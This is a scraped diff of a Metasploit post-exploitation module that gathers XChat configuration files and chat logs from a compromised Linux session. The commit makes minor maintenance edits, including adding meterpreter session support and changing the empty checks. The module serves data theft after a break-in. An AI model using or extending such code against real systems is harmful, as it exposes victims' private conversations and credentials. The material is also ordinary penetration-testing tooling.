@@ -20,11 +20,11 @@ def initialize(info={})
20
20
.log files.
21
21
} ,
22
22
'License' => MSF_LICENSE ,
23
- 'Author' => [ 'sinn3r' ] ,
24
- 'Platform' => [ 'linux' ] ,
23
+ 'Author' => [ 'sinn3r' ] ,
24
+ 'Platform' => [ 'linux' ] ,
25
25
# linux meterpreter is too busted to support right now,
26
26
# will come back and add support once it's more usable.
27
- 'SessionTypes' => [ 'shell' ] ,
27
+ 'SessionTypes' => [ 'shell' , 'meterpreter' ] ,
28
28
'Actions' =>
29
29
[
30
30
[ 'CONFIGS' , { 'Description' => 'Collect XCHAT\'s config files' } ] ,
@@ -62,7 +62,7 @@ def get_file(file)
62
62
end
63
63
64
64
def whoami
65
- user = cmd_exec ( "whoami" ) . chomp
65
+ user = cmd_exec ( "/usr/bin/ whoami" ) . chomp
66
66
return user
67
67
end
68
68
@@ -120,7 +120,7 @@ def get_configs(base)
120
120
files . each do |f |
121
121
vprint_status ( "#{ @peer } - Downloading: #{ base + f } " )
122
122
buf = read_file ( base + f )
123
- next if buf . empty ?
123
+ next if buf . blank ?
124
124
config << {
125
125
:filename => f ,
126
126
:data => buf
@@ -139,7 +139,7 @@ def run
139
139
@peer = "#{ session . session_host } :#{ session . session_port } "
140
140
141
141
user = whoami
142
- if user . nil ?
142
+ if user . blank ?
143
143
print_error ( "#{ @peer } - Unable to get username, abort." )
144
144
return
145
145
end
@@ -149,8 +149,8 @@ def run
149
149
configs = get_configs ( base ) if action . name =~ /ALL|CONFIGS/i
150
150
chatlogs = get_chatlogs ( base ) if action . name =~ /ALL|CHATS/i
151
151
152
- save ( :configs , configs ) if not configs . empty?
153
- save ( :chatlogs , chatlogs ) if not chatlogs . empty?
152
+ save ( :configs , configs ) unless configs . empty?
153
+ save ( :chatlogs , chatlogs ) unless chatlogs . empty?
154
154
end
155
155
156
156
end
0 commit comments